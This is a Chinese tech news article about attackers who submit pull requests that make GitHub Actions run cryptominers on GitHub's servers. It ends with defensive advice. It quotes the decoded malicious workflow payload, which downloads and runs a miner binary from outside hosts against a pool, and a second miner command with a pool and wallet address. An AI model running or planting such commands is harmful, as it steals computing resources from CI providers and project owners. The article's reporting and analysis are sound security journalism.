黑客用GitHub服務器挖礦,三天跑了3萬個任務,代碼驚現中文
本文經AI新媒體量子位(公眾號ID:QbitAI)授權轉載,轉載請聯系出處。
加密貨幣價格一路高漲,顯卡又買不起,怎么才能“廉價”挖礦?
黑客們動起了歪心思——“白嫖”服務器。
給PC植入挖礦木馬,已經無法滿足黑客日益增長的算力需求,如果能用上GitHub的服務器,還不花錢,那當然是極好的。

而且整個過程可能比侵入PC還容易,甚至都不需要程序員上當受騙。只需提交Pull Request(PR),即使項目管理者沒有批準,惡意挖礦代碼依然能夠執行。
原理也很簡單,利用GitHub Action的自動執行工作流功能,輕松將挖礦程序運行在GitHub的服務器上。
早在去年11月,就已經有人發現黑客這種行為。更可怕的是,半年過去了,這種現象依然沒得到有效制止。
GitHub心里苦啊,雖然可以封禁違規賬號,但黑客們玩起了“游擊戰術”,不斷更換馬甲號逃避“追捕”,讓官方疲于奔命。
就在幾天前,一位荷蘭的程序員還發現,這種攻擊方式依然存在,甚至代碼里還出現了中文。

那么,這些黑客是如何植入挖礦程序的呢?一切要從發現異常的法國程序員Tib說起。
PR異常讓程序員起疑心
去年11月,Tib發現,自己在一個沒有參加的repo上收到了PR請求。而且在14個小時內就收到了7個,全是來自一個“y4ndexhater1”的用戶,沒有任何描述內容。

令人感到奇怪的是,這并不是一個熱門項目,Star數量為0。
打開項目主頁發現,內容是Perl項目的github action、circle ci、travis-ci示例代碼集合,整個README文檔一團糟,根本不像一個正經的開源項目。

然而就是這個混亂又冷門的repo,居然在3天里被fork了2次。
一切都太不正常了,讓人嗅到了一絲不安的氣息。
嘗試“作死”運行
本著“作死”的精神,Tib決定一探究竟。
經過那位可疑用戶的操作,Tib所有的action都被刪除,在工作流里被加入了一個ci.yml文件,內容如下:

當Tib看到eval “$(echo “YXB0IHVwZGF0ZSAt這一行內容后,立刻從沙發上跳了起來,他意識到事情的嚴重性:有人在入侵他的GitHub個人資料!
這串看似神秘的字符,其實是base64編碼,經過翻譯后,得到了另一段代碼:
apt update -qq
apt install -y curl git jq
curl -Lfo prog https://github.com/bhriscarnatt/first-repo/releases/download/a/prog || curl -Lfo prog https://transfer.sh/OSPjK/prog
ip=$(curl -s -H 'accept: application/dns-json' 'https://dns.google/resolve?name=poolio.magratmail.xyz&type=A' | jq -r '.Answer[0].data')
chmod u+x prog
timeout 4h ./prog -o "${ip}:3000" -u ChrisBarnatt -p ExplainingComputers --cpu-priority 5 > /dev/null
前面兩行不必解釋,有意思的地方從第三行開始,它會下載一個prog二進制文件。
為了安全起見,Tib先嘗試獲取信息而不是執行,得到了它的十六進制代碼。
$ objdump -s --section .comment prog
prog: file format elf64-x86-64
Contents of section .comment:
0000 4743433a 2028416c 70696e65 2031302e GCC: (Alpine 10.
0010 322e315f 70726531 29203130 2e322e31 2.1_pre1) 10.2.1
0020 20323032 30313230 3300 20201203.
Tib也考慮過反編譯,但是沒有成功。
不入虎穴,焉得虎子,Tib決定嘗試運行一下。
要執行這一大膽而又作死的任務,防止“試試就逝世”,Tib首先斷開了電腦的網絡鏈接,并選擇在Docker容器中運行。
答案終于揭曉,原來這個prog是一個名為XMRig的挖礦程序。
$ ./prog --version
XMRig 6.8.1
built on Feb 3 2021 with GCC 10.2.1
features: 64-bit AES
libuv/1.40.0
OpenSSL/1.1.1i
hwloc/2.4.0
當時XMRig的最新版恰好是6.8.1,和上面的版本參數符合。不過用SHA256檢測后發現,這個prog并不完全是XMRig,Tib預測它可能是一個修改版。
實際上,可能被攻擊的不止GitHub,安全公司Aqua推測,像Docker Hub、Travis CI、Circle CI這些SaaS軟件開發環境,都可能遭受這類攻擊。
在這個攻擊過程中,會派生一個合法的repo,負責將惡意的GitHub Action添加到原始代碼。然后,黑客再向原始repo提交一個PR,將代碼合并回原始repo。
下載的挖礦程序會偽裝成prog或者gcc編譯器,通過提交PR在項目執行自動化工作流。此時服務器將運行偽裝后的挖礦程序。

這些攻擊者僅一次攻擊就可以運行多達100個挖礦程序,從而給GitHub的服務器帶來了巨大的計算量。
據Aqua估計,僅在三天的時間里,挖礦黑客就在GitHub上有超過2.33萬次commit、在Docker Hub上5.8萬次build,轉化了大約3萬個挖礦任務。
可以防范但很難根除
這種攻擊甚至不需要被攻擊的倉庫管理者接受惡意Pull Request。
只要在.github/workflows目錄里面的任意.yml文件中配置了在收到Pull Request時執行,來自黑客的Action就會自動被執行。
如果你沒有使用這個功能,那就不用擔心啦,黑客大概也不會找上你。
需要用到這個功能的話,可以設置成只允許本地Action或只允許Github官方及特定作者創建的Action。

將情況反饋給客服后,GitHub會對惡意賬號進行封號和關閉相關Pull Request的操作。
但惡意攻擊很難被根除,黑客只需要注冊新的賬號就可以繼續白嫖服務器資源。
攻擊還在繼續
我們從最近一次攻擊中發現,黑客將挖礦程序上傳到GitLab并偽裝成包管理工具npm。

打開這個可疑的nani.bat,可以看到:
npm.exe --algorithm argon2id_chukwa2
--pool turtlecoin.herominers.com:10380
--wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
--password xo
這一次黑客挖的是烏龜幣*(TurtleCoin)*,可使用CPU計算。按當前價格挖出四千多個幣才值1美元。

Github Actions的免費服務器可以提供英特爾E5 2673v4的兩個核心,7GB內存。
大致估算單臺運行一天只能獲利幾美分,而且黑客的挖礦程序通常只能在被發現之前運行幾個小時。比如Docker Hub就把自動build的運行時間限制在2個小時。
不過蚊子再小也是肉,黑客通過尋找更多接受公開Action的倉庫以及反復打開關閉Pull Request就能執行更多的挖礦程序。

△同一黑客賬號至少攻擊了95個GitHub倉庫
正如Twitter用戶Dave Walker所說的,如果你提供免費的計算資源,就要做好會被攻擊和濫用的覺悟。挖礦有利可圖的情況下這是不可避免的。

據報道,受害的不止GitHub,還有Docker Hub、Travis CI以及Circle CI等提供類似服務的持續集成平臺。
這一亂象不知何時才能結束,唯一的好消息可能就是,挖礦的黑客似乎只是針對GitHub提供的服務器資源,而不會破壞你的代碼。
但是GitHub Action的漏洞不止這一個。還有方法能使黑客讀寫開發者的倉庫,甚至可以讀取加密的機密文件。

去年7月,Google Project Zero團隊就已向GitHub通報漏洞。但在給出的90天修復期限+延長14天后,GitHub仍未能有效解決。
對此,我們的建議是,不要輕易相信GitHub市場里的Action作者,不要交出你的密匙。